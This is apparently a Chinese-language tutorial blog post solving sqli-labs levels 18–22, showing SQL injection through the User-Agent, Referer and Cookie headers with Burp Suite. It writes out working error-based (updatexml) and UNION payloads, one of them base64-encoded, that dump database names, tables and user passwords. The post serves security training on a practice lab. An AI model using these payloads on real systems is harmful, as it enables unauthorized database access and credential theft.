前言
前面的关卡,都是直接在输入框或者浏览器的地址栏上做文章即可。但本文这几关,需要用工具拦截请求修改请求头部才行。
Less18(User-Agent注入)
本关的注入点在User-Agent。我们在用户名和密码框中输入admin/admin后,会回显User-Agent的信息。注意这里只有输入了正确的密码才回回显。
PS:如果admin/admin密码不对,就去Less17那里改就行了~~~~
![](https://i-blog.csdnimg.cn/direct/c22a9f09e44d46a48aee70fb99e5dfe5.png)
我们看一下源码,在less18目录下的index.php:
![](https://i-blog.csdnimg.cn/direct/2b07433e68ad48a699496f16ece91634.png)
![](https://i-blog.csdnimg.cn/direct/dce1df522d5b4568b32c4958fadaba6b.png)
分析代码后,我们发现uagent这个变量获取的是user-agent的数据,而注入点在103行这里,输出页面反馈的在109行。
User-Agent的注入我们需要借助一些工具,可以使用postman或者burp suit等。这里我会使用burp suit操作。
没用过burp suit的读者先下载并打开临时项目。然后使用内嵌浏览器:
![](https://i-blog.csdnimg.cn/direct/9af5618ca96c4b96b0cc97b13339d130.png)
之后在内嵌浏览器中打开Less18的页面。
然后要打开拦截请求,拦截一会发送的请求:
![](https://i-blog.csdnimg.cn/direct/74ddafd8fda0463badf26873a9e06374.png)
接着在用户名框和密码框输入admin和admin
![](https://i-blog.csdnimg.cn/direct/77718664776941e18dbbf6629eb8c212.png)
此时发现burp suit已经对请求进行拦截:
![](https://i-blog.csdnimg.cn/direct/fcb613ea6c244034977de7ede7066886.png)
然后点击右键,选择"发送到repeater",然后我们在重放器进行操作。
这里我们尝试吧User-Agent的内容改为:
' and updatexml(1,'~',3) and '
![](https://i-blog.csdnimg.cn/direct/a96862d0efb84e04b84e7a50b2f44088.png)
看到这里通过updatexml大法,已经通过user-agent回显了。后面可以按照Less7的思路把数据库和用户名那些爆破出来。
查找当前数据库名:
' or updatexml(1,concat(0x7e,(select database()),0x7e),3) or '
![](https://i-blog.csdnimg.cn/direct/a174cbc2581245ce9934761c39b3e3ac.png)
接着查询表,当limit到4时查到users表:
' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) or '
![](https://i-blog.csdnimg.cn/direct/7e870380d5324bd58fdc44115a8e70ae.png)
接着是查询列名,还是按照less7的思路,在limit到4、5时找到username和password:
' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1)),3) or '
' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1)),3) or '
![](https://i-blog.csdnimg.cn/direct/e971e4ec44b342b5a4b36310a433ad4f.png)
![](https://i-blog.csdnimg.cn/direct/895c90d3afec4e18b9e492a0c3d0c522.png)
最后是查出用户名密码,
' or updatexml(1,concat('~',(select username from security.users limit 0,1)),3) or '
' or updatexml(1,concat('~',(select password from security.users limit 0,1)),3) or '
![](https://i-blog.csdnimg.cn/direct/d0686399a72042e28654b3f9a2620c88.png)
Less19(Referer注入)
先输入用户名密码admin/admin
![](https://i-blog.csdnimg.cn/direct/c2b40cae8a0641019fd68ce3a3c5416d.png)
显示的是Refer的数据,所以考虑注入点和Referer有关。
同样先分析sqli-labs/less19/index.php源文件
![](https://i-blog.csdnimg.cn/direct/47f60023d39a4938a34dc92ec17f2341.png)
与Less18不同的地方在于uagent变量获取的是Referer这个参数。所以操作方式和Less18是一摸一样的。
![](https://i-blog.csdnimg.cn/direct/0a49e32ff42d4b46ac05bdd74a3f60c4.png)
具体的操作参照Less18,语句完全一样,仅仅是把原来放在user-agent的改成放到referer那里就可以了。
Less20(Cookie注入)
输入用户名密码admin/admin之后:
![](https://i-blog.csdnimg.cn/direct/6bda36483a8e406ea8d9b4b9fe582e6d.png)
这里显示了cookie,而且从这关的标题看,写的是cookie注入。所以很显然这关的目标涉及cookie。
![](https://i-blog.csdnimg.cn/direct/a71e1e53f1e849028e0d3b1c99c956db.png)
分析代码后,我们看到147行显然是一个注入点。因为cookee这个变量直接从COOKIE那里获取uname数据,然后直接放到sql语句去执行,没有进行一些处理!
现在开始操作,基本参考Less1就可以了。我们在登录之后,刷新页面并用burp suit拦截请求,右键把请求发到重放器中,修改cookie的值,判断select的列数:
admin' order by 5 #
![](https://i-blog.csdnimg.cn/direct/5d8564666e0f46d5ad3df7cd8ab3ae15.png)
使用单引号闭合,然后order by看来select的列数。我们尝试5是失败的,最终尝试3时会成功:
admin' order by 3 #
![](https://i-blog.csdnimg.cn/direct/318b55621c724d8e8ba866687a562133.png)
接下来我们用联合注入方式:
' union select 1,2,3 #
![](https://i-blog.csdnimg.cn/direct/bed49ca7f4724c0c908cdc158b6172f9.png)
看到联合注入的参数已经回显到前端。
接下来是查询库名:
' union select 1,database(),3 #
![](https://i-blog.csdnimg.cn/direct/14eefbd000264e44b9150f780900abfe.png)
表名:
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
![](https://i-blog.csdnimg.cn/direct/2f27e253ed2b40a8aaedb30c7603920b.png)
列名:
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #
![](https://i-blog.csdnimg.cn/direct/279cfea918e346279389a733f260b97f.png)
最后找出用户名密码:
![](https://i-blog.csdnimg.cn/direct/8db58b53a2cf4e09826cac20bab26017.png)
Less21
21关和20关差不多。我们看了拦截的请求,cookie是用base64编码过的
![](https://i-blog.csdnimg.cn/direct/13c3d5c05042477cb44c06c7087d8c87.png)
分析源码:
在146行是注入点,闭合方式是单引号+右括号。
语句基本和Less20差不多,就是闭合方式改变,并且要先用base64转码。比如查询数据库语句为:
') union select 1,database(),3 #
然后我们用base64转码,可以用在线方式,也可以自己写脚本,或者用离线工具koczkatamas等等。转码得到:
JykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=
![](https://i-blog.csdnimg.cn/direct/ef03112563cc4d199fafb7697e7c5829.png)
其他查询也是类似的方式即可,不再赘述。
Less22
Less22和21差不多,都是cookie要做base64编码。区别是变成了双引号闭合,所以也不赘述。
小结
本文主要演示了请求头部的一些注入点,包括User-Agent、Referer和Cookie。其实现方式大同小异。但头部注入的操作比前面get和post会麻烦一些,需要拦截请求并修改头部信息。